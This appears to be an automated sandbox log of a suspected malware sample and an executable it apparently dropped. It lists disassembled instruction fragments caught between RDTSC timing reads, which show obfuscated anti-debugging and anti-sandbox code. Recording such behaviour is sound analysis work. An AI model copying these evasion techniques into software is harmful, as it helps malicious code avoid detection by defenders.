Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7067A second address: 4D7068D instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, bx 0x00000009 popad 0x0000000a mov al, byte ptr [edi+01h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7068D second address: 4D70691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70691 second address: 4D706A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706A9 second address: 4D706AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706AF second address: 4D706B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706B3 second address: 4D706D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3B80B6755Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706D6 second address: 4D706E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D706E6 second address: 4D70724 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007F3B80B67567h 0x0000000f jne 00007F3BF170F8CEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3B80B67565h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70724 second address: 4D7072A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7072A second address: 4D7072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7072E second address: 4D70766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b mov ch, bl 0x0000000d pushfd 0x0000000e jmp 00007F3B813BFB8Eh 0x00000013 adc ecx, 3FA390B8h 0x00000019 jmp 00007F3B813BFB8Bh 0x0000001e popfd 0x0000001f popad 0x00000020 shr ecx, 02h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70766 second address: 4D70781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70781 second address: 4D707ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 jmp 00007F3B813BFB90h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 jmp 00007F3B813BFB90h 0x0000001c mov ecx, edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F3B813BFB8Dh 0x00000025 add cx, C616h 0x0000002a jmp 00007F3B813BFB91h 0x0000002f popfd 0x00000030 popad 0x00000031 and ecx, 03h 0x00000034 jmp 00007F3B813BFB8Eh 0x00000039 rep movsb 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D707ED second address: 4D7080A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7080A second address: 4D70810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70810 second address: 4D70814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70814 second address: 4D70818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70818 second address: 4D7083E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F3B80B67560h 0x00000017 pop ecx 0x00000018 mov eax, edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7083E second address: 4D7085C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, ax 0x00000011 mov ecx, 7A9FE035h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7085C second address: 4D708B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c jmp 00007F3B80B67566h 0x00000011 mov dword ptr fs:[00000000h], ecx 0x00000018 jmp 00007F3B80B67560h 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3B80B67567h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D708B5 second address: 4D708CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB94h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D708CD second address: 4D70910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jmp 00007F3B80B6755Dh 0x0000000f call 00007F3B80B67560h 0x00000014 movzx ecx, bx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pop esi 0x0000001a pushad 0x0000001b mov si, D58Fh 0x0000001f movzx ecx, bx 0x00000022 popad 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov ax, 407Fh 0x0000002b mov si, 659Bh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70AA6 second address: 4D70B0A instructions: 0x00000000 rdtsc 0x00000002 movsx edi, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3B813BFB97h 0x00000012 adc ch, 0000006Eh 0x00000015 jmp 00007F3B813BFB99h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F3B813BFB90h 0x00000021 xor cx, 10E8h 0x00000026 jmp 00007F3B813BFB8Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B0A second address: 4D70B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B2E second address: 4D70B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B32 second address: 4D70B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B36 second address: 4D70B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B3C second address: 4D70B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B42 second address: 4D70B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B46 second address: 4D70B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bl, al 0x0000000f mov bx, DA84h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B74 second address: 4D70B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC5179 second address: BC5189 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F3B80B67556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC5189 second address: BC518D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC518D second address: BC51B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F3B80B67562h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3B80B6755Eh 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC41A9 second address: BC41B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC41B1 second address: BC41B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC42EE second address: BC4305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b jmp 00007F3B813BFB8Ch 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC460E second address: BC4615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC48F3 second address: BC48F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC48F7 second address: BC490D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC490D second address: BC4942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F3B813BFB88h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jmp 00007F3B813BFB8Eh 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC4AB6 second address: BC4AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B67560h 0x00000009 js 00007F3B80B67556h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F3B80B67556h 0x00000018 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC4AD9 second address: BC4ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC782D second address: BC7899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007F3B80B67560h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F3B80B67569h 0x00000018 jmp 00007F3B80B67569h 0x0000001d popad 0x0000001e jmp 00007F3B80B6755Fh 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 je 00007F3B80B6756Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC78E0 second address: BC798E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 jnl 00007F3B813BFB88h 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 mov edx, dword ptr [ebp+122D2D11h] 0x00000017 push 452809E5h 0x0000001c jmp 00007F3B813BFB8Dh 0x00000021 xor dword ptr [esp], 45280965h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F3B813BFB88h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 push 00000003h 0x00000044 jmp 00007F3B813BFB8Eh 0x00000049 push 00000000h 0x0000004b movzx edi, ax 0x0000004e push 00000003h 0x00000050 add di, F1BAh 0x00000055 add dword ptr [ebp+122D32C8h], edi 0x0000005b push 99225C82h 0x00000060 jmp 00007F3B813BFB95h 0x00000065 add dword ptr [esp], 26DDA37Eh 0x0000006c jmp 00007F3B813BFB8Ah 0x00000071 lea ebx, dword ptr [ebp+1244C78Ah] 0x00000077 mov dword ptr [ebp+122D2AA4h], edx 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC798E second address: BC7992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7992 second address: BC7998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7AC5 second address: BC7B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3B80B67565h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3B80B67567h 0x0000001b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7B02 second address: BC7B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+122D2D85h] 0x00000011 lea ebx, dword ptr [ebp+1244C793h] 0x00000017 adc dx, 69AAh 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e jmp 00007F3B813BFB8Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 ja 00007F3B813BFB86h 0x0000002b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7B44 second address: BC7B57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F3B80B67560h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7BA5 second address: BC7BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7BAB second address: BC7BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7BAF second address: BC7C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F3B813BFB88h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 movsx esi, si 0x0000002b push 00000000h 0x0000002d mov ch, 6Bh 0x0000002f call 00007F3B813BFB89h 0x00000034 push eax 0x00000035 push edx 0x00000036 jbe 00007F3B813BFB88h 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BC7C02 second address: BC7C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F3B80B67562h 0x00000011 jmp 00007F3B80B6755Bh 0x00000016 popad 0x00000017 jne 00007F3B80B6755Ch 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 je 00007F3B80B67556h 0x0000002c popad 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAD62E second address: BAD638 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3B813BFB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAD638 second address: BAD66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007F3B80B6755Fh 0x00000013 jmp 00007F3B80B6755Bh 0x00000018 jne 00007F3B80B67556h 0x0000001e popad 0x0000001f pushad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAD66C second address: BAD672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE64CC second address: BE64D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE64D0 second address: BE64D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE64D4 second address: BE64E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnl 00007F3B80B67556h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE662F second address: BE6634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6634 second address: BE663A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE68BE second address: BE68CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 ja 00007F3B813BFB86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6CA0 second address: BE6CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6CB1 second address: BE6CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F3B813BFB86h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6CC2 second address: BE6CD0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6E5A second address: BE6E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F3B813BFBA3h 0x0000000b jl 00007F3B813BFB86h 0x00000011 jmp 00007F3B813BFB97h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6E86 second address: BE6E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6FB2 second address: BE6FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6FB6 second address: BE6FCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE6FCA second address: BE6FF1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3B813BFB8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F3B813BFB8Eh 0x00000010 jl 00007F3B813BFB92h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BDF821 second address: BDF83A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3B80B67560h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAF009 second address: BAF013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAF013 second address: BAF026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B6755Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAF026 second address: BAF030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3B813BFB86h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BAF030 second address: BAF036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE76B4 second address: BE76BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE7E12 second address: BE7E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F3B80B67556h 0x0000000f js 00007F3B80B67556h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE7E29 second address: BE7E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
